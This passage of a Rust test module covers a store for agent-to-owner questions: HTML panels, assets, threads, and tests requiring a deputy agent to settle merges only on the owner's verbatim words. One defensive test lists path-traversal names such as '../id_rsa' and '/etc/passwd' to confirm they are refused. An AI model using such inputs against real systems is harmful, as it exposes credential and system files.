2662        // Unset expands to nothing rather than to a guessed address.
2663        assert_eq!(question_url("  "), "");
2664    }
2665
2666    /// A question with a fixed id, so a panel's path on disk is predictable.
2667    fn panelled() -> Question {
2668        let mut q = choice_question();
2669        q.id = "20260903-014455-ab12".to_owned();
2670        q
2671    }
2672
2673    #[test]
2674    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2675        let (dir, s) = store();
2676        let work = dir.path().join("worktree");
2677        std::fs::create_dir_all(&work).unwrap();
2678        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2679        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2680
2681        let mut q = panelled();
2682        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2683        s.put_panel(
2684            &mut q,
2685            html,
2686            &[work.join("table.png"), work.join("diff.svg")],
2687        )
2688        .unwrap();
2689        s.put(&mut q).unwrap();
2690
2691        assert!(q.panel);
2692        assert_eq!(
2693            q.assets,
2694            ["diff.svg", "table.png"],
2695            "sorted, not in the order the agent happened to pass them"
2696        );
2697        assert_eq!(
2698            s.panel_html(&q.id).as_deref(),
2699            Some(html),
2700            "the html is stored byte for byte; the agent authored the markup"
2701        );
2702        assert_eq!(
2703            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2704            Some(&b"<svg/>"[..])
2705        );
2706
2707        // The record on disk carries the same two fields the front end reads.
2708        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2709        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2710        assert_eq!(json["panel"], true);
2711        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2712        let back = s.get(&q.id).unwrap();
2713        assert!(back.panel);
2714        assert_eq!(back.assets, q.assets);
2715
2716        // The assets were copied, so the panel still renders after `magi fold`
2717        // has deleted the candidate worktree the agent authored it in.
2718        std::fs::remove_dir_all(&work).unwrap();
2719        assert_eq!(
2720            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2721            Some(&b"\x89PNG"[..]),
2722            "a referenced asset would be gone with the worktree"
2723        );
2724    }
2725
2726    #[test]
2727    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2728        let (dir, s) = store();
2729        let mut q = panelled();
2730        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2731        s.put(&mut q).unwrap();
2732
2733        // A file exactly one level up from the panel directory - which is
2734        // where `..` lands - holding content a read would make visible.
2735        let secret = "this must never reach the browser";
2736        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2737        assert_eq!(
2738            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2739            secret,
2740            "the traversal is real: the operating system resolves this path \
2741             happily, which is why the name has to be refused before the join"
2742        );
2743
2744        let long = "x".repeat(200);
2745        for name in [
2746            "..",
2747            "../id_rsa",
2748            "..\\id_rsa",
2749            "sub/../id_rsa",
2750            "/",
2751            "\\",
2752            "/etc/passwd",
2753            "C:\\Windows\\win.ini",
2754            "",
2755            ".hidden",
2756            ".",
2757            long.as_str(),
2758        ] {
2759            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2760            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2761            assert!(
2762                e.contains("not a panel file name"),
2763                "`{name}` must be refused as a name, not attempted: {e}"
2764            );
2765            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2766        }
2767        // A name that is allowed still finds its file, so the refusals above
2768        // were the rule at work and not a store that reads nothing.
2769        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2770
2771        // The same rule on the write side, where the name comes from a source
2772        // file's base name, and a refusal leaves the stored panel untouched.
2773        let hidden = dir.path().join(".hidden");
2774        std::fs::write(&hidden, "x").unwrap();
2775        let e = s
2776            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2777            .unwrap_err()
2778            .to_string();
2779        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2780        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2781        assert!(q.assets.is_empty());
2782    }
2783
2784    #[test]
2785    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2786        let (dir, s) = store();
2787        let mut q = panelled();
2788        s.put(&mut q).unwrap();
2789
2790        // Sized rather than filled: the cap reads the file's length, and a
2791        // test that actually produced eight mebibytes would only be slower.
2792        let big = dir.path().join("recording.png");
2793        std::fs::File::create(&big)
2794            .unwrap()
2795            .set_len(PANEL_MAX_BYTES)
2796            .unwrap();
2797
2798        let html = "<p>see the recording</p>";
2799        let total = PANEL_MAX_BYTES + html.len() as u64;
2800        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2801        assert!(
2802            e.contains(&PANEL_MAX_BYTES.to_string()),
2803            "the cap is named so the agent knows the limit: {e}"
2804        );
2805        assert!(
2806            e.contains(&total.to_string()),
2807            "the actual size is named so the agent knows by how much: {e}"
2808        );
2809
2810        assert!(!q.panel);
2811        assert!(q.assets.is_empty());
2812        let left: Vec<String> = std::fs::read_dir(s.root())
2813            .unwrap()
2814            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2815            .collect();
2816        assert_eq!(
2817            left,
2818            [format!("{}.json", q.id)],
2819            "a refused panel leaves neither a directory nor scratch: {left:?}"
2820        );
2821    }
2822
2823    #[test]
2824    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2825        let (dir, s) = store();
2826        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2827        std::fs::create_dir_all(&before).unwrap();
2828        std::fs::create_dir_all(&after).unwrap();
2829        std::fs::write(before.join("diff.png"), "before").unwrap();
2830        std::fs::write(after.join("diff.png"), "after").unwrap();
2831
2832        let mut q = panelled();
2833        let e = s
2834            .put_panel(
2835                &mut q,
2836                "<p>x</p>",
2837                &[before.join("diff.png"), after.join("diff.png")],
2838            )
2839            .unwrap_err()
2840            .to_string();
2841        assert!(e.contains("diff.png"), "{e}");
2842        assert!(
2843            e.contains("before") && e.contains("after"),
2844            "both sources are named, because the fix is to rename one: {e}"
2845        );
2846        assert!(!q.panel);
2847        assert!(!s.panel_dir(&q.id).exists());
2848    }
2849
2850    #[test]
2851    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2852        let (dir, s) = store();
2853        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2854        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2855
2856        let mut q = panelled();
2857        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2858            .unwrap();
2859        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2860            .unwrap();
2861
2862        assert_eq!(q.assets, ["new.png"]);
2863        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2864        assert!(
2865            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2866            "an asset from the first attempt would show a mix of two answers"
2867        );
2868
2869        s.drop_panel(&q.id).unwrap();
2870        assert!(s.panel_html(&q.id).is_none());
2871        assert!(!s.panel_dir(&q.id).exists());
2872        s.drop_panel(&q.id)
2873            .expect("dropping a panel that is already gone is the desired state");
2874    }
2875
2876    #[test]
2877    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2878        let (_dir, s) = store();
2879        let mut q = panelled();
2880        s.put(&mut q).unwrap();
2881
2882        assert!(!q.panel);
2883        assert!(s.panel_html(&q.id).is_none());
2884        assert!(
2885            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2886            "a missing file is a 404 for the caller, not a failure of the store"
2887        );
2888        let json = serde_json::to_value(&q).unwrap();
2889        assert_eq!(json["panel"], false);
2890        assert_eq!(json["assets"], serde_json::json!([]));
2891
2892        // And an empty panel is refused, because an empty frame reads to the
2893        // owner as "the agent had nothing to say".
2894        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2895        assert!(e.contains("empty panel"), "{e}");
2896        assert!(!s.panel_dir(&q.id).exists());
2897    }
2898
2899    #[test]
2900    fn a_question_written_before_panels_existed_still_deserialises() {
2901        let (_dir, s) = store();
2902        std::fs::create_dir_all(s.root()).unwrap();
2903        let id = "20260902-231501-ab12";
2904        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2905        let body = r#"{
2906  "schema": 1,
2907  "id": "20260902-231501-ab12",
2908  "run": "20260902-201256-9fb7",
2909  "node": "implement",
2910  "seat": "impl-A",
2911  "summary": "Which storage backend should the cache use?",
2912  "detail": "Both are already dependencies.",
2913  "choices": ["SQLite", "Redis"],
2914  "status": "open",
2915  "asked_at": "2026-09-02T23:15:01Z",
2916  "answered_at": null,
2917  "answer": null
2918}"#;
2919        std::fs::write(s.path_of(id), body).unwrap();
2920
2921        let q = s.get(id).unwrap();
2922        assert!(
2923            !q.panel,
2924            "an absent field means no panel, not a parse error"
2925        );
2926        assert!(q.assets.is_empty());
2927        // Schema 1 predates `thread` entirely - not merely predates it having
2928        // any turns - and this build now speaks schema 3. Reading it must not
2929        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2930        // accepted and the missing field defaults to no conversation yet.
2931        assert_eq!(q.schema, 1);
2932        assert!(q.thread.is_empty());
2933        assert_eq!(
2934            q.answer_timeout, 0,
2935            "an absent field means unrecorded, not a zero-second deadline"
2936        );
2937        assert!(!q.waiting_on_agent());
2938        assert_eq!(q.summary, "Which storage backend should the cache use?");
2939        assert_eq!(
2940            s.list().len(),
2941            1,
2942            "and it is still listed; skipping it would hide an open question"
2943        );
2944    }
2945
2946    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2947        Turn {
2948            who,
2949            body: body.to_owned(),
2950            at,
2951            note: None,
2952        }
2953    }
2954
2955    #[test]
2956    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2957        // The phone reads this shape by hand, same as the question itself: a
2958        // rename here is a card that silently drops every message in it.
2959        let mut q = choice_question();
2960        q.thread
2961            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2962        let value = serde_json::to_value(&q.thread[0]).unwrap();
2963        let mut keys: Vec<&str> = value
2964            .as_object()
2965            .unwrap()
2966            .keys()
2967            .map(String::as_str)
2968            .collect();
2969        keys.sort_unstable();
2970        assert_eq!(keys, ["at", "body", "who"]);
2971        assert_eq!(value["who"], "operator");
2972        assert_eq!(value["body"], "why not Postgres?");
2973
2974        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2975        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2976        assert_eq!(parsed.who, Who::Agent);
2977    }
2978
2979    fn approval_question() -> Question {
2980        let mut q = Question::new(
2981            "run".into(),
2982            crate::land::APPROVAL_NODE.into(),
2983            "land".into(),
2984            "Merge?".into(),
2985            String::new(),
2986            vec!["merge".into(), "hold".into()],
2987        );
2988        let mut dep = Deputy::new("brief".into());
2989        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2990        q.deputy = Some(dep);
2991        q
2992    }
2993
2994    #[test]
2995    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
2996        for choice in [
2997            crate::land::HOLD,
2998            crate::land::REPAIR,
2999            crate::merge_decision::WITHDRAW,
3000            "reimplement:beta",
3001        ] {
3002            let mut q = approval_question();
3003            q.node = crate::land::APPROVAL_NODE.into();
3004            q.choices = vec!["merge".into(), choice.into()];
3005            q.merge_target = Some(crate::merge_decision::Target {
3006                pr: "PR 42".into(),
3007                head: "abc".into(),
3008                language: "en".into(),
3009            });
3010            q.say(format!("Should we choose {choice}?")).unwrap();
3011            assert!(
3012                q.settle_by_deputy("deputy-x", choice, choice, None)
3013                    .is_err()
3014            );
3015            q.say(choice).unwrap();
3016            q.settle_by_deputy("deputy-x", choice, choice, None)
3017                .unwrap();
3018            assert_eq!(q.resolution().as_deref(), Some(choice));
3019        }
3020        let mut q = approval_question();
3021        q.node = crate::land::APPROVAL_NODE.into();
3022        q.choices = vec!["merge".into(), "hold".into()];
3023        q.merge_target = Some(crate::merge_decision::Target {
3024            pr: "PR 42".into(),
3025            head: "new-head".into(),
3026            language: "en".into(),
3027        });
3028        q.say("merge old-head").unwrap();
3029        assert!(
3030            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3031                .is_err()
3032        );
3033        q.say("merge new-head").unwrap();
3034        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3035            .unwrap();
3036    }
3037
3038    #[test]
3039    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3040        let mut q = approval_question();
3041        q.choices.push(crate::land::REPAIR.into());
3042        q.say("maybe fix findings and re-review").unwrap();
3043        assert!(
3044            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3045                .is_err()
3046        );
3047        q.say(crate::land::REPAIR).unwrap();
3048        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3049            .unwrap();
3050        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3051        assert_eq!(
3052            crate::land::approval(q.resolution().as_deref()),
3053            crate::land::Approval::Repair
3054        );
3055    }
3056
3057    #[test]
3058    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3059        let mut q = approval_question();
3060        q.say("merge").unwrap();
3061        q.reply("sure?", vec!["merge".into(), "hold".into()])
3062            .unwrap();
3063        q.say(" Merge it please ").unwrap();
3064        assert!(
3065            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3066                .is_err(),
3067            "an empty quote is refused"
3068        );
3069        assert!(
3070            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3071                .is_err(),
3072            "a quote the owner never said is refused"
3073        );
3074        assert_eq!(q.status, QuestionStatus::Open);
3075        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3076            .unwrap();
3077        assert_eq!(q.resolution().as_deref(), Some("merge"));
3078    }
3079
3080    #[test]
3081    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3082        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3083        let mk = || {
3084            let mut q = Question::new(
3085                "run".into(),
3086                crate::github_text::ASK_NODE.into(),
3087                crate::github_text::ASK_SEAT.into(),
3088                "s".into(),
3089                String::new(),
3090                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3091            );
3092            let mut dep = Deputy::new("brief".into());
3093            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3094            q.deputy = Some(dep);
3095            q
3096        };
3097        let mut hedged = mk();
3098        hedged.say("Post the original, maybe?").unwrap();
3099        assert!(
3100            hedged
3101                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3102                .is_err()
3103        );
3104        let mut clear = mk();
3105        clear.say("Post the original text as it is.").unwrap();
3106        clear
3107            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3108            .unwrap();
3109        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3110        let mut japanese = mk();
3111        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3112        japanese.say(words).unwrap();
3113        japanese
3114            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3115            .unwrap();
3116        let mut unrelated = mk();
3117        unrelated.say("Proceed with the task").unwrap();
3118        assert!(
3119            unrelated
3120                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3121                .is_err()
3122        );
3123        for words in [
3124            "OK, post the original",
3125            "Yes, post original",
3126            "I'd like to post the original",
3127        ] {
3128            let mut natural = mk();
3129            natural.say(words).unwrap();
3130            natural
3131                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3132                .unwrap();
3133        }
3134        for (message, quote) in [
3135            (
3136                "ログには「元の説明で投稿しました」と記録されています。",
3137                "ログには「元の説明で投稿しました」と記録されています。",
3138            ),
3139            (
3140                "ログには「元の説明で投稿してください」と記録されています。",
3141                "元の説明で投稿してください",
3142            ),
3143        ] {
3144            let mut descriptive = mk();
3145            descriptive.say(message).unwrap();
3146            assert!(
3147                descriptive
3148                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3149                    .is_err()
3150            );
3151            assert!(descriptive.status.open());
3152            assert!(descriptive.answer.is_none());
3153        }
3154        let mut descriptive = mk();
3155        let message = "Post original was the option I saw.";
3156        descriptive.say(message).unwrap();
3157        for quote in [message, "Post original"] {
3158            assert!(
3159                descriptive
3160                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3161                    .is_err()
3162            );
3163            assert!(descriptive.status.open());
3164            assert!(descriptive.answer.is_none());
3165        }
3166        // The changed text is the safe default: no extra guard beyond the quote.
3167        let mut safe = mk();
3168        safe.say("use the fallback").unwrap();
3169        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3170            .unwrap();
3171    }
3172
3173    #[test]
3174    fn posting_deputy_rejects_multiline_quoted_context() {
3175        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3176        for (command, choice) in [
3177            ("Post original", POST_ORIGINAL),
3178            ("Use rewrite", USE_REWRITE),
3179        ] {
3180            for message in [
3181                format!("The log contains:\n```\n{command}\n```"),
3182                format!("The log contains:\n\"\n{command}\n\""),
3183                format!("The log says: “Reported. {command}.”"),
3184                format!("The log says: “\n{command}\n”"),
3185            ]
3186            .into_iter()
3187            .chain(crate::github_text::reported_posting_messages(command))
3188            {
3189                let mut q = Question::new(
3190                    "run".into(),
3191                    ASK_NODE.into(),
3192                    ASK_SEAT.into(),
3193                    "s".into(),
3194                    String::new(),
3195                    vec![USE_FALLBACK.into(), choice.into()],
3196                );
3197                let mut dep = Deputy::new("brief".into());
3198                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3199                q.deputy = Some(dep);
3200                q.say(&message).unwrap();
3201                let tmp = tempfile::tempdir().unwrap();
3202                let questions = Questions::at(tmp.path().join("questions"));
3203                questions.put(&mut q).unwrap();
3204                for quote in [command, message.as_str()] {
3205                    assert!(
3206                        questions
3207                            .update(&q.id, |stored| {
3208                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3209                            })
3210                            .is_err()
3211                    );
3212                    let after = questions.get(&q.id).unwrap();
3213                    assert!(after.status.open());
3214                    assert!(after.answer.is_none());
3215                }
3216            }
3217        }
3218    }
3219
3220    #[test]
3221    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3222        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3223        let mk = || {
3224            let mut q = Question::new(
3225                "run".into(),
3226                crate::github_text::ASK_NODE.into(),
3227                crate::github_text::ASK_SEAT.into(),
3228                "s".into(),
3229                String::new(),
3230                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3231            );
3232            let mut dep = Deputy::new("brief".into());
3233            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3234            q.deputy = Some(dep);
3235            q
3236        };
3237        let mut hedged = mk();
3238        hedged.say("Use the rewrite, maybe?").unwrap();
3239        assert!(
3240            hedged
3241                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3242                .is_err()
3243        );
3244        let mut descriptive = mk();
3245        let message = "Use rewrite was the option I saw.";
3246        descriptive.say(message).unwrap();
3247        for quote in [message, "Use rewrite"] {
3248            assert!(
3249                descriptive
3250                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3251                    .is_err()
3252            );
3253            assert!(descriptive.status.open());
3254            assert!(descriptive.answer.is_none());
3255        }
3256        for words in [
3257            "Use the rewrite text as it is.",
3258            "I'd like to use the rewrite",
3259            "修正版で投稿してください。",
3260        ] {
3261            let mut clear = mk();
3262            clear.say(words).unwrap();
3263            clear
3264                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3265                .unwrap();
3266            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3267        }
3268        // The changed text is the safe default: no extra guard beyond the quote.
3269        let mut safe = mk();
3270        safe.say("use the fallback").unwrap();
3271        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3272            .unwrap();
3273    }
3274
3275    #[test]
3276    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3277        let mk = |choices: Vec<String>| {
3278            let mut q = Question::new(
3279                String::new(),
3280                crate::bump::NOTICE_NODE.into(),
3281                "release-watch".into(),
3282                "Release?".into(),
3283                String::new(),
3284                choices,
3285            );
3286            let mut dep = Deputy::new("brief".into());
3287            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3288            q.deputy = Some(dep);
3289            q
3290        };
3291        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3292        assert!(crate::deputy::merge_gated(&approval));
3293        approval.say("マージしていいよ").unwrap();
3294        assert!(
3295            approval
3296                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3297                .is_err(),
3298            "a quote the owner never said is refused"
3299        );
3300        approval
3301            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3302            .unwrap();
3303
3304        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3305        assert!(!crate::deputy::merge_gated(&esc));
3306        esc.say("もう監視はいらない").unwrap();
3307        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3308            .unwrap();
3309        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3310    }
3311
3312    #[test]
3313    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3314        let mut q = approval_question();
3315        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3316            .unwrap();
3317        assert!(
3318            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3319                .is_err(),
3320            "the quote must be the owner's"
3321        );
3322        assert!(
3323            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3324                .is_err(),
3325            "`hold` still needs the whole message"
3326        );
3327        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3328            .unwrap();
3329        assert_eq!(q.resolution().as_deref(), Some("merge"));
3330    }
3331
3332    fn settle_ready() -> Question {
3333        let mut q = Question::new(
3334            "task".to_owned(),
3335            "conduct".to_owned(),
3336            "conduct".to_owned(),
3337            "Done?".to_owned(),
3338            String::new(),
3339            vec!["yes".to_owned(), "no".to_owned()],
3340        );
3341        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3342        seat.turns = 1;
3343        let mut dep = Deputy::new("brief".to_owned());
3344        dep.seat = Some(seat);
3345        q.deputy = Some(dep);
3346        q.say("setup done, and file a follow-up").unwrap();
3347        q
3348    }
3349
3350    #[test]
3351    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3352        let dir = tempfile::TempDir::new().unwrap();
3353        let store = Questions::at(dir.path().join("questions"));
3354        let mut q = settle_ready();
3355        let id = q.id.clone();
3356        store.put(&mut q).unwrap();
3357        store
3358            .update(&id, |q| {
3359                q.settle_by_deputy(
3360                    "deputy-x",
3361                    "yes",
3362                    "setup done",
3363                    Some("  no follow-up was queued  "),
3364                )
3365            })
3366            .unwrap();
3367        let back = store.get(&id).unwrap();
3368        let turn = back.thread.last().unwrap();
3369        assert_eq!(turn.who, Who::Agent);
3370        assert!(turn.body.starts_with("Settled as `yes`"));
3371        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3372        assert_eq!(back.thread[0].note, None);
3373    }
3374
3375    #[test]
3376    fn an_empty_or_blank_settle_note_is_no_note() {
3377        for note in [None, Some(""), Some("  \n ")] {
3378            let mut q = settle_ready();
3379            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3380                .unwrap();
3381            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3382            let json = serde_json::to_string(&q).unwrap();
3383            assert!(!json.contains("\"note\""), "no key when there is none");
3384        }
3385    }
3386
3387    #[test]
3388    fn a_refused_settle_leaves_no_note_behind() {
3389        let mut q = settle_ready();
3390        let before = q.thread.clone();
3391        assert!(
3392            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3393                .is_err()
3394        );
3395        assert!(
3396            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3397                .is_err()
3398        );
3399        assert_eq!(q.thread, before);
3400        assert_eq!(q.status, QuestionStatus::Open);
3401    }
3402
3403    #[test]
3404    fn a_turn_written_before_notes_existed_still_reads() {
3405        let t: Turn =
3406            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3407                .unwrap();
3408        assert_eq!(t.note, None);
3409    }
3410
3411    #[test]
3412    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3413        let mut q = approval_question();
3414        q.say("merge").unwrap();
3415        q.reply("sure?", vec!["merge".into(), "hold".into()])
3416            .unwrap();
3417        q.say("wait, hold off").unwrap();
3418        assert!(
3419            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3420                .is_err()
3421        );
3422        assert_eq!(q.status, QuestionStatus::Open);
3423    }
3424
3425    #[test]
3426    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3427        let mut q = Question::new(
3428            "task".to_owned(),
3429            "conduct".to_owned(),
3430            "conduct".to_owned(),
3431            "Done?".to_owned(),
3432            String::new(),
3433            vec!["yes".to_owned(), "no".to_owned()],
3434        );
3435        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3436        seat.turns = 1;
3437        let mut dep = Deputy::new("brief".to_owned());
3438        dep.seat = Some(seat);
3439        q.deputy = Some(dep);
3440        q.say("setup done, go ahead").unwrap();
3441
3442        assert!(
3443            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3444                .is_err()
3445        );
3446        assert!(
3447            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3448                .is_err()
3449        );
3450        assert!(
3451            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3452                .is_err()
3453        );
3454        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3455        assert_eq!(q.status, QuestionStatus::Open);
3456
3457        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3458            .unwrap();
3459        assert_eq!(q.status, QuestionStatus::Answered);
3460        assert_eq!(q.resolution().as_deref(), Some("yes"));
3461        let last = q.thread.last().unwrap();
3462        assert_eq!(last.who, Who::Agent);
3463        assert!(
3464            last.body.contains("setup done"),
3465            "the quote stays on the record"
3466        );
3467    }
3468
3469    #[test]
3470    fn a_question_written_before_deputies_still_reads() {
3471        let mut q = Question::new(
3472            "task".to_owned(),
3473            "conduct".to_owned(),
3474            "conduct".to_owned(),
3475            "Done?".to_owned(),
3476            String::new(),
3477            Vec::new(),
3478        );
3479        q.schema = 4;
3480        let mut v = serde_json::to_value(&q).unwrap();
3481        v.as_object_mut().unwrap().remove("deputy");
3482        let back: Question = serde_json::from_value(v).unwrap();
3483        assert!(back.deputy.is_none());
3484    }
3485
3486    #[test]
3487    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3488        let mut q = choice_question();
3489        q.say("does the cache need eviction?").unwrap();
3490        assert_eq!(q.thread.len(), 1);
3491        assert_eq!(q.thread[0].who, Who::Operator);
3492        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3493        // Speaking is not deciding: the status and the answer are untouched,
3494        // which is the whole point of the round trip existing at all.
3495        assert_eq!(q.status, QuestionStatus::Open);
3496        assert!(q.answer.is_none());
3497        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3498    }
3499
3500    #[test]
3501    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3502        let mut answered = choice_question();
3503        answered
3504            .answer(Answer::Choice("SQLite".to_owned()))
3505            .unwrap();
3506        let a = answered.say("still there?").unwrap_err().to_string();
3507        assert!(a.contains("already answered"), "{a}");
3508        let b = answered
3509            .reply("still there?", vec![])
3510            .unwrap_err()
3511            .to_string();
3512        assert!(b.contains("already answered"), "{b}");
3513
3514        let mut abandoned = choice_question();
3515        abandoned.abandon("timed out");
3516        let c = abandoned.say("hello?").unwrap_err().to_string();
3517        assert!(c.contains("abandoned"), "{c}");
3518
3519        let mut open = choice_question();
3520        let d = open.say("   ").unwrap_err().to_string();
3521        assert!(d.contains("empty"), "{d}");
3522        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3523        assert!(e.contains("empty"), "{e}");
3524        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3525    }
3526
3527    #[test]
3528    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3529        let mut q = choice_question();
3530        q.say("SQLite or Redis, but what about disk space?")
3531            .unwrap();
3532        assert!(q.waiting_on_agent());
3533
3534        q.reply(
3535            "SQLite: it is one file, no server to run.",
3536            vec!["SQLite".to_owned()],
3537        )
3538        .unwrap();
3539
3540        assert_eq!(q.choices, ["SQLite"]);
3541        assert!(
3542            !q.waiting_on_agent(),
3543            "the agent spoke, so the owner is the one being waited on now"
3544        );
3545        assert_eq!(q.thread.len(), 2);
3546        assert_eq!(q.thread[1].who, Who::Agent);
3547
3548        // The new choice set is what a subsequent answer is checked against.
3549        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3550        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3551        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3552    }
3553
3554    #[test]
3555    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3556        let mut fresh = choice_question();
3557        assert!(
3558            fresh.should_notify(Timestamp::now()),
3559            "nobody has been notified yet, so the first ask always pages"
3560        );
3561
3562        fresh.say("why not Postgres?").unwrap();
3563        let just_said = fresh.thread[0].at;
3564        assert!(
